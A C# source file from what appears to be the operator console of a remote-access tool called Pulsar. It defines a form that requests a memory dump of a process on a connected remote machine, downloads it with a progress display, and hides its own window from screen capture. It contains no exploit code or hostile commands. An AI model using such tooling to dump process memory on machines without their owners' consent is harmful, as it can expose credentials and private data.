Files
PulsarK-main/Pulsar.Server/Forms/FrmMemoryDump.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

165 lines
6.0 KiB
C#

using Pulsar.Common.Messages;
using Pulsar.Common.Messages.Administration.TaskManager;
using Pulsar.Server.Forms.DarkMode;
using Pulsar.Server.Helper;
using Pulsar.Server.Messages;
using Pulsar.Server.Networking;
using Pulsar.Server.Models;
using System;
using System.Collections.Generic;
using System.Windows.Forms;
namespace Pulsar.Server.Forms
{
public partial class FrmMemoryDump: Form
{
/// <summary>
/// The client which can be used for the memory dump.
/// </summary>
private readonly Client _connectClient;
private readonly DoProcessDumpResponse _dumpedProcess;
/// <summary>
/// The message handler for handling the communication with the client.
/// </summary>
private readonly MemoryDumpHandler _dumpHandler;
/// <summary>
/// Holds the opened memory dump form for each dump.
/// </summary>
private static readonly Dictionary<DoProcessDumpResponse, KeyValuePair<Client, FrmMemoryDump>> OpenedForms = new Dictionary<DoProcessDumpResponse, KeyValuePair<Client, FrmMemoryDump>>();
/// <summary>
/// Creates a new memory dump form for the dump or gets the current open form, if there exists one already.
/// </summary>
/// <param name="client">The client used for the memory dump form.</param>
/// <param name="dump">The dump associated with this form</param>
/// <returns>
/// Returns a new memory dump form for the client if there is none currently open, otherwise creates a new one.
/// </returns>
public static FrmMemoryDump CreateNewOrGetExisting(Client client, DoProcessDumpResponse dump) // Check this
{
if (OpenedForms.ContainsKey(dump))
{
return OpenedForms[dump].Value;
}
FrmMemoryDump f = new FrmMemoryDump(client, dump);
f.Disposed += (sender, args) => OpenedForms.Remove(dump);
OpenedForms.Add(dump, new KeyValuePair<Client, FrmMemoryDump>(client, f));
return f;
}
public FrmMemoryDump(Client client, DoProcessDumpResponse dump)
{
_connectClient = client;
_dumpHandler = new MemoryDumpHandler(client, dump);
_dumpedProcess = dump;
InitializeComponent();
RegisterMessageHandler();
progressDownload.Maximum = (int)dump.Length;
progressDownload.Minimum = 0;
DarkModeManager.ApplyDarkMode(this);
ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle);
}
private void RegisterMessageHandler()
{
_connectClient.ClientState += ClientDisconnected;
_dumpHandler.FileTransferUpdated += FileTransferUpdated;
MessageHandler.Register(_dumpHandler);
}
private void UnregisterMessageHandler()
{
MessageHandler.Unregister(_dumpHandler);
_dumpHandler.FileTransferUpdated -= FileTransferUpdated;
_connectClient.ClientState -= ClientDisconnected;
}
/// <summary>
/// Called whenever a client disconnects.
/// </summary>
/// <param name="client">The client which disconnected.</param>
/// <param name="connected">True if the client connected, false if disconnected</param>
private void ClientDisconnected(Client client, bool connected)
{
if (!connected)
{
this.Invoke((MethodInvoker)this.Close);
}
}
private void FileTransferUpdated(object sender, FileTransfer transfer)
{
if (transfer.RemotePath == _dumpedProcess.DumpPath)
{
if (transfer.Status == "Completed")
{
_dumpHandler.Cleanup(transfer);
this.Close();
}
if (progressDownload.InvokeRequired)
{
progressDownload.BeginInvoke((MethodInvoker)delegate
{
progressDownload.Value = (int)transfer.TransferredSize;
});
}
else
{
progressDownload.Value = (int)transfer.TransferredSize;
}
if (labelProgress.InvokeRequired)
{
labelProgress.BeginInvoke((MethodInvoker)delegate
{
labelProgress.Text = $"Progress: {Math.Round((double)(transfer.TransferredSize / this._dumpedProcess.Length), 2)}%";
});
}
else
{
labelProgress.Text = $"Progress: {Math.Round((double)(transfer.TransferredSize / this._dumpedProcess.Length), 2)}%";
}
if (labelValue.InvokeRequired)
{
labelValue.BeginInvoke((MethodInvoker)delegate
{
labelValue.Text = transfer.Status;
});
}
else
{
labelValue.Text = transfer.Status;
}
}
}
private void btnCancel_Click(object sender, EventArgs e)
{
// Fix this later
MessageBox.Show("Unimplemented!");
//_connectClient.Send(new FileTransferCancel { Id = 0, Reason = "User Requested" });
this.Close();
}
private void FrmMemoryDump_Load(object sender, EventArgs e)
{
this.Text = WindowHelper.GetWindowTitle("Memory Dump", _connectClient) + $" => {_dumpedProcess.Pid} : {_dumpedProcess.ProcessName}";
}
private void FrmMemoryDump_FormClosing(object sender, FormClosingEventArgs e)
{
UnregisterMessageHandler();
_dumpHandler.Dispose();
}
private void FrmMemoryDump_Shown(object sender, EventArgs e)
{
_dumpHandler.BeginDumpDownload(_dumpedProcess);
}
}
}